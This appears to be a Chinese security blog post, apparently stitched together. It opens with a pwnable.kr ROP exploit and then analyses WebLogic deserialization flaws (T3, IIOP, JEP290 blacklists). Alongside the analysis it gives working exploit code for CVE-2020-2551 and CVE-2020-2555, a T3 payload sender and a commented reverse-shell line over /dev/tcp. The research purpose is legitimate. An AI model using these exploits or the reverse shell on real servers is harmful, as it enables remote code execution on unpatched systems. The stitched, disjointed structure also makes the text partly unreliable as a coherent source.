有溢出,但是怎么利用呢?
首先检查看到是没有开启 ASLR 地址是固定利用的,接着往下走
第一种方法中,由于跳转地址含有0x0a
导致无法有效从 gets 输入,所以只能考虑第二种方法
我们看到 A~G 函数都是无参函数,且执行 printf 后 ret 返回,所以在栈上表现为返回执行原函数下一地址指令
我们通过把栈覆盖如下,当输入不等于 sum 时,ropme 即会跳转调用 A 函数输出 a,当从 A 函数返回时便会调用 B 函数……当 A~G 都执行完毕后计算 sum 值,再次调回 ropme 输入正确答案即可
from pwn import *context(arch='i386', os='linux')is_remote = 1if is_remote: p = remote(host='pwnable.kr', port=9032)else: p = process("/home/pwn/Desktop/horcruxes")payload = b'.' * 0x78payload += p32(0x809fe4b) # Apayload += p32(0x809fe6a) # Bpayload += p32(0x809fe89) # Cpayload += p32(0x809fea8) # Dpayload += p32(0x809fec7) # Epayload += p32(0x809fee6) # Fpayload += p32(0x809ff05) # Gpayload += p32(0x809fffc) # ropmep.sendlineafter("Select Menu:", '1')p.sendlineafter("How many EXP did you earned? : ", payload)p.recvline()sum = 0for i in range(7): msg = p.recvline().decode() num = int(msg.strip(')\n').split('+')[1]) sum += nump.sendlineafter("Select Menu:", '1')p.sendlineafter("How many EXP did you earned? : ", str(sum))log.info(p.recvline())
首先构造 rmi 服务端,以便观察数据包
根据官方文档,直接生成 jar 包
将生成的jar包放到测试domain的lib目录下
将目标server
类配置为启动类
重启 weblogic 后即可进行调用
红色部分为 request
蓝色部分为 response
P.S. 此节当时用了12.1.3.0.0版本,本文其他内容均为12.2.1.4.0版本
通过ac ed 00 05
筛选出请求反序列化部分依次为
weblogic.rjvm.ClassTableEntryweblogic.rjvm.ClassTableEntryweblogic.rjvm.ClassTableEntryweblogic.rjvm.JVMIDweblogic.rjvm.JVMID---weblogic.rjvm.ClassTableEntryweblogic.rjvm.ImmutableServiceContext---weblogic.rjvm.ImmutableServiceContext
根据数据包请求内容,我们主体需要分为两部分进行发送
握手🤝
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n
序列化数据
这里涉及两种方式,实际上也算是同一种
将上面提到的序列化部分其中一项改为恶意 payload
取消所有序列化部分,在下面数据后直接拼接恶意 payload
000005fe016501ffffffffffffffff000000710000ea60000000184f0fb5416958bf21f2810099d59af6a410012655b1f4c837027973720078720178720278700000000c00000002000000000000000400000001007070707070700000000c00000002000000000000000400000001007006fe010000
最简单的情况当然是后者,下面是利用脚本,注意头 4 字节为数据总长度
import socketimport structimport sysdef send(ip, port, file): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) server = (ip, port) sock.connect(server) # Handshake handshake = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n" print("[>] Sending: %s" % handshake) sock.sendall(handshake) # Receive message = sock.recv(1024) print("[<] Receive: %s" % message) # Send Payload Obj = open(file, 'rb').read() payload = b"\x00\x00\x05\xfe\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x0f\xeb\x30\x46\x27\x2d\x8c\xc7\x52\x16\xbb\xd1\x9e\x42\x00\xdc\x6a\x8e\x80\xbe\xbb\x7e\xd5\xbe\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00" payload += Obj payload = struct.pack(">I", len(payload)) + payload[4:] # print("[*] Sending Payload: %s" % payload) print("[>] Sending Payload ...") sock.sendall(payload) # Receive message = sock.recv(1024) print("[<] Receive: %s" % message) except Exception as e: print("[!] Error: %s" % e)if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python t3protocol.py 127.0.0.1 7001 payload.bin") exit() send(sys.argv[1], int(sys.argv[2]), sys.argv[3])
为了下断点,先将 src.zip 加入到 Classpath 中
readObject:71, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1158, ObjectStreamClass (java.io)readSerialData:2173, ObjectInputStream (java.io)readOrdinaryObject:2064, ObjectInputStream (java.io)readObject0:1568, ObjectInputStream (java.io)readObject:428, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)
具体过程可见https://www.anquanke.com/post/id/201432#h2-3
不再赘述
JEP290主要描述了这么几个机制:
- 提供一个限制反序列化类的机制,白名单或者黑名单
- 限制反序列化的深度和复杂度
- 为RMI远程调用对象提供了一个验证类的机制
- 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
我们通过在8u151版本下实现RMI,并尝试用cc3反序列化来查看机制如何进行过滤
跟入 checkInput,serialFilter为sun.rmi.registry.RegistryImpl
对象,所以实际进入到rt.jar!sun.rmi.registry.RegistryImpl#registryFilter
进行过滤
可以看到对深度、数组大小和基本类型做了判断
以及最后的这段
String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
直接禁用了sun.reflect.annotation.AnnotationInvocationHandler
,所以返回了Status.REJECTED
“JSON反序列化之殇_看雪安全开发者峰会”的时序图
通过上面在 JDK 中的抵用栈信息,可以看到在 weblogic 中是通过weblogic.rjvm.InboundMsgAbbrev#readObject
进入的java.io.ObjectInputStream
我们跟进ServerChannelInputStream看一下
再看一下ServerChannelInputStream
的继承关系
即ServerChannelInputStream
继承自FilteringObjectInputStream,并通过重写resolveClass、resolveProxyClass从而进行反序列化过滤防御
我们跟进checkLegacyBlacklistIfNeeded看一下,到这weblogic.utils.io.oif.WebLogicObjectInputFilter#checkLegacyBlacklistIfNeeded
会根据是否支持JEP290自带过滤,在不可用情况下会使用isBlacklistedLegacy
进行防御
至于哪里调用JEP290过滤先放一边,我们先看下isBlacklistedLegacy
如果类名第一个字符为[
(数组),或为primitiveTypes中的某项,就不会进行检测
之后会检查类型类名、包名是否在LEGACY_BLACKLIST中,有一项不符即回到上面抛出异常
我们看看LEGACY_BLACKLIST是怎么来的
跟进weblogic.utils.io.oif.WebLogicFilterConfig
可以发现 BLACKLIST 取决于constructLegacyBlacklist方法,考虑上下文追溯至processLegacyBlacklistProperties
,因为我们考虑的是不支持 JEP290 的情况,所以进入到最后的 else 分支中
所以 BLACKLIST 来源主要来自以下三处
private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server", "org.jboss.interceptor.builder", "org.jboss.interceptor.reader", "org.jboss.interceptor.proxy", "org.jboss.interceptor.spi.metadata", "org.jboss.interceptor.spi.model", "com.bea.core.repackaged.springframework.aop.aspectj", "com.bea.core.repackaged.springframework.aop.aspectj.annotation", "com.bea.core.repackaged.springframework.aop.aspectj.autoproxy", "com.bea.core.repackaged.springframework.beans.factory.support", "org.python.core"};private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};System.getProperty("weblogic.rmi.blacklist");
回到 JEP290 调用栈,我们知道最后是调用filterCheck进行的过滤
跟入,此时serialFilter为sun.misc.ObjectInputFilter对象(注意 JDK 为8u151)
maxdepth=100;!org.codehaus.groovy.runtime.ConvertedClosure;!org.codehaus.groovy.runtime.ConversionHandler;!org.codehaus.groovy.runtime.MethodClosure;!org.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.UnicastRemoteObject;!java.rmi.server.RemoteObjectInvocationHandler;!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.RemoteObject;!org.apache.commons.collections.functors.*;!com.sun.org.apache.xalan.internal.xsltc.trax.*;!javassist.*;!java.rmi.activation.*;!sun.rmi.server.*;!org.jboss.interceptor.builder.*;!org.jboss.interceptor.reader.*;!org.jboss.interceptor.proxy.*;!org.jboss.interceptor.spi.metadata.*;!org.jboss.interceptor.spi.model.*;!com.bea.core.repackaged.springframework.aop.aspectj.*;!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;!com.bea.core.repackaged.springframework.beans.factory.support.*;!org.python.core.*
看上面过滤的类是不是很熟悉,实际也是weblogic.utils.io.oif.WebLogicFilterConfig
生成的 filter
跟入sun.misc.ObjectInputFilter.Config.Global#checkInput
,整体代码和registryFilter中的类似,红框处是进行serialFilter黑名单匹配
这里用到了 Function<T, U> 接口和 lambda 语法
下面是 filter 通过生解析生成过程,需要在 weblogic 启动时下断点观察,传入的值和serialFilter是一致的
如果返回 null 或者 REJECTED 都会抛出异常结束反序列化流程
注意:wlfullclient.jar在12.1.3版本后被移除,点此查看具体信息,但可以通过以下命令生成
cd WL_HOME/server/libjava -jar wljarbuilder.jar
IIOP 协议看的头疼,只好按流程说一下
每个 IIOP 数据包都会进入weblogic.iiop.ConnectionManager#dispatch
进行解析,长度end
对应数据对应原始包中数据
直到收到 bind_any 的数据包(这里 wireshark 标记数据有些问题)
之后weblogic.rmi.internal.wls.WLSExecuteRequest#run
进入weblogic.rmi.internal.BasicServerRef#handleRequest
解析请求数据,如果userIdentity、action均不为null(均不用在意),会依次进入
weblogic.rmi.cluster.ClusterableServerRef#invoke
weblogic.corba.idl.CorbaServerRef#invoke
如果method不为objectMedthods之一(定义在CorbaServerRef最底部),则会进入this.delegate._invoke
即weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke
通过判断 method 进入对应流程 case,这里进入 case 0
这里通过WNameHelper.read(InputStream istream)
读取配置并进行注册,在读取long型数据时会进行4 bytes 对齐
红色部分为注册个数,黑色部分为对齐忽略部分,橘色为 key,绿色为 value,分别对应id
和kind
然后关注$result
是如何产生的,先后跟入
weblogic.iiop.IIOPInputStream#read_any
weblogic.corba.idl.AnyImpl#read_value
首先通过读取类型为1d
后,将输入流进行解析
之后进入通过设置 type 进入weblogic.corba.idl.AnyImpl#read_value
之后跟入weblogic.corba.idl.AnyImpl#read_value_internal
,这里会根据 type 类型(29)尝试获取数据
这里会进入weblogic.iiop.IIOPInputStream#read_value()
,看到序列化的标志
首先会读取 valueTag,(这里出现的getIndirectionValue
不知道能不能利用,下来看看),通过查找是否已经有过对应 codebase 避免重复获取,如若没有则会通过之后的数据获取RMI注册表信息
对应位置如下,黄绿色为 valueTag,蓝色RMI注册数据长度,绿色为RMI注册内容(之后属性值解析也类似)
由于满足ObjectStreamClass.supportsUnsafeSerialization() == true
,进入下面的处理逻辑:
首先通过反射获取实例对象
之后进入weblogic.iiop.ValueHandlerImpl#readValue
,通过深度遍历将其字段全部读取出来放入indirectionMap
内实现完整序列化
在读取属性值时,跟入到com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
在这里先通过java.io.ObjectInputStream#defaultReadObject
会读取属性值到JtaTransactionManager
中,同时生成一个 JndiTemplate 实例
跟入initUserTransactionAndTransactionManager
,当userTransaction为空时,会通过从提供的userTransactionName中进行读取
一路跟到com.bea.core.repackaged.springframework.jndi.JndiTemplate#execute
,剩下就是 JNDI的内容了
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;import ysoserial.payloads.util.Gadgets;import javax.naming.Context;import javax.naming.InitialContext;import java.rmi.Remote;import java.util.Hashtable;public class cve_2020_2551 { public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; // target host String port = "7001"; // target port String url = "ldap://192.168.31.96:1099/exp2"; // rmi/ldap url Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port)); Context context = new InitialContext(env); // get object to Deserialize JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(url); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class); context.bind("pwned", remote); }}
第一次调 weblogic,饶了一大圈 Orz
推荐:https://github.com/QAX-A-Team/WeblogicEnvironment
/u01/app/oracle/middleware/wlserver/
&/u01/app/oracle/middleware/coherence/
出来moudules
&server/lib
加入 Libraries 中关键利用点com.tangosol.util.filter.LimitFilter#toString
(如果分析过 commons-collections,可能对这里可以很熟悉),这里 m_comparator、m_oAnchorTop均可控,下一步就是看能否有可利用的 extract 函数来进一步发挥
在com.tangosol.util.extractor.ReflectionExtractor#extract
中,可以看到调用了 invoke(这熟悉的味道,难道没有想到 commons-collections 中的 tranform 么)
即我们可以通过反射执行命令,但需要一条反射链才能从头到尾执行恶意命令(再次回想ChainedTransformer)
这时关注到com.tangosol.util.extractor.ChainedExtractor#extract
,主要在第一步调用时需要传入Runtime.class
就可以组成一条完整的调用链,而从LimitFilter
传过来m_oAnchorTop
的又是可控的
现在命令执行部分已经构造完成,我们需要的是反序列化入口到达LimitFilter#toString
这里又用到了javax.management.BadAttributeValueExpException#BadAttributeValueExpException
(又是熟悉的味道,细看commons-collections 5),注意到初始化时需要赋值为 null,再通过反射设置,否则会直接触发toString
方法
import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import com.tangosol.util.filter.LimitFilter;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;public class cve_2020_2555 { public static void main(String[] args) throws Exception {// ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec(new String[]{""}); ReflectionExtractor[] reflectionExtractors = { new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor( "invoke", new Object[]{null, new Object[0]} ), new ReflectionExtractor( "exec", new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}}// new Object[]{new String[]{"/bin/sh", "-c", "/bin/sh -i &> /dev/tcp/192.168.31.96/12345 0<&1"}} ) }; ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);// chainedExtractor.extract(Runtime.class); LimitFilter limitFilter = new LimitFilter(); limitFilter.setComparator(chainedExtractor); limitFilter.setTopAnchor(Runtime.class);// limitFilter.toString(); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, limitFilter); Serializer.serialize(badAttributeValueExpException);// Serializer.deserialize(); }}class Serializer { public static void serialize(Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("payload.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); } public static void deserialize() throws IOException, ClassNotFoundException { FileInputStream ios = new FileInputStream("java.bin"); ObjectInputStream ois = new ObjectInputStream(ios); ois.readObject(); }}
]]>